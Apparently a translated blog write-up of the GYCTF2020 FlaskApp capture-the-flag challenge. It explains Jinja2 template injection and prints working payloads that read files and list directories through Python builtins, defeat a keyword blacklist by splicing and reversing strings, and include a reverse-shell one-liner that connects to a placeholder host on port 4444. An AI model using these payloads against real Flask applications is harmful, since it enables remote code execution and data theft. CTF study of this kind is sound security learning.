当前位置:网站首页>[GYCTF2020]FlaskApp
[GYCTF2020]FlaskApp
2022-07-26 14:07:00 【Strange Xiaosheng lost his mind】
Examination site
flask Of ssti Template Injection
ssti Template injection bypass
ping Code generation
information gathering
The beginning gives encryption, decryption and prompt Hint let's try hard ( It doesn't seem to work
Then decrypt the random input and find debug Open the
Then I saw part of the source code

Is probably text Parameters bypass waf You can execute the code
use { {6+6}} Encryption and decryption get 12 Make sure there is ssti Template Injection 

Reference knowledge
stay jinja2 in Control structure
{% %}Variable value{ { }}python Magic methods and attributes
__class__ Returns the parameter type of the call
__bases__ Returns a list of base classes
__mro__ This attribute is the reference class tuple when looking for the base class during method parsing
__subclasses__() Return to the list of dictionaries
__globals__ Returns the global variables defined by the global namespace of the function and func_globals Equivalent
__builtins__ References to built-in modules , Visible anywhere ( Including the overall situation ), Every Python Scripts are automatically loaded , This module includes many powerful built-in function , for example eval,exec,open wait
The specific process
Read the complete app.py Convenient bypass waf
Reference resources Templates Injections Of payload
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{
{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}
{%endif%}{% endfor %}Change to
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__name__=='catch_warnings' %}
{
{ x.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}{% endfor %}
Change to one line
{% for x in [].__class__.__base__.__subclasses__() %}{% if x.__name__=='catch_warnings' %}{
{ x.__init__.__globals__['__builtins__'].open('app.py').read() }}{% endif %}{% endfor %}
Get a lump 
waf
def waf(str):
black_list = [&
#34;flag","os","system",&
#34;popen","import","eval",&
#34;chr","request", "subprocess",&
#34;commands","socket","hex",&
#34;base64","*","?"
]
for x in black_list :
if x in str.lower() : return [email protected]('/hint',methods=['GET'])Know some keywords and turn characters to lowercase , So it can't be used lower perhaps base64、hex Bypass , But string splicing can bypass use listdir Method to view the current directory file
{% for x in [].__class__.__base__.__subclasses__() %}{% if x.__name__=='catch_warnings' %}{
{ x.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
obtain
['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'this_is_the_flag.txt', '.dockerenv', 'app']See this_is_the_flag.txt Then splice open Read
{% for x in [].__class__.__base__.__subclasses__() %}{% if x.__name__=='catch_warnings' %}{
{ x.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt').read()}}{% endif %}{% endfor %}
Come on

Flashback output bypasses
txt.galf_eht_si_siht/’[::-1] Reverse the character output
Namely this_is_the_flag.txt
{% for x in [].__class__.__base__.__subclasses__() %}{% if x.__name__=='catch_warnings' %}{
{ x.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1]).read()}}{% endif %}{% endfor %}
utilize PIN Code process RCE
I haven't done this yet Keep it first There is a little problem in the calculation pin On the yard
OK, swing

边栏推荐
- Basic knowledge about memory chips
- [shaders realize overlay to re cover cross dressing effect _shader effect Chapter 9]
- Segmentation fault (core dumped)
- With frequent data leakage and deletion events, how should enterprises build a security defense line?
- 基于双层主题模型的技术演化分析框架及其应用
- OA项目之会议排座和送审
- GDB common commands
- 融合多自然语言处理任务的中医辅助诊疗方案研究——以糖尿病为例
- 大小端模式
- C language_ Structure pointer variable introduction
猜你喜欢

C language_ Structure pointer to access structure array

Force deduction ----- the number of words in the string

Research on prediction of user churn in online health community based on user portrait

Jzoffer (array; string; linked list)

Videojs to canvas pause, play, switch video

Prediction and value evaluation of technology fusion relationship based on multiple features

Zhou Wei: look for non consensual investment opportunities to accompany the founding team that delays satisfaction

关于存储芯片的入门基础知识

低功耗多通道WFAS1431无线数据采集采发仪使用流程说明

【论文阅读】GRAW+:A Two-View Graph Propagation Method With Word Coupling for Readability Assessment
随机推荐
Rotation of 2D conversion, transform origin of 2D conversion center point and scale of 2D conversion
[deep learning] fully connected network
LCL three-phase PWM rectifier (inverter)
Mobile dual finger scaling event (native), e.originalevent.touches
.net6与英雄联盟邂逅之——根据官方LCU API制作游戏助手
JS submit the form to determine whether the user name and password are empty
大小端模式
手持振弦采集仪VH03各种接口使用说明
使用cpolar建立一个商业网站(申请网站安全证书)
The picture moves horizontally with the phone - gyroscope. 360 degree setting conditions
Convert the array in JSON file to struct
MySQL's practice of SQL analysis and optimization from the index principle
Plato Farm有望通过Elephant Swap,进一步向外拓展生态
搞懂MySQL的数据类型中长度含义
Understand the meaning of length in MySQL data types
C语言_结构体指针来访问结构体数组
Canvas upload image Base64 with cropping function jcrop.js
Polymorphic case - making drinks
421. Maximum XOR value of two numbers in the array
redis学习笔记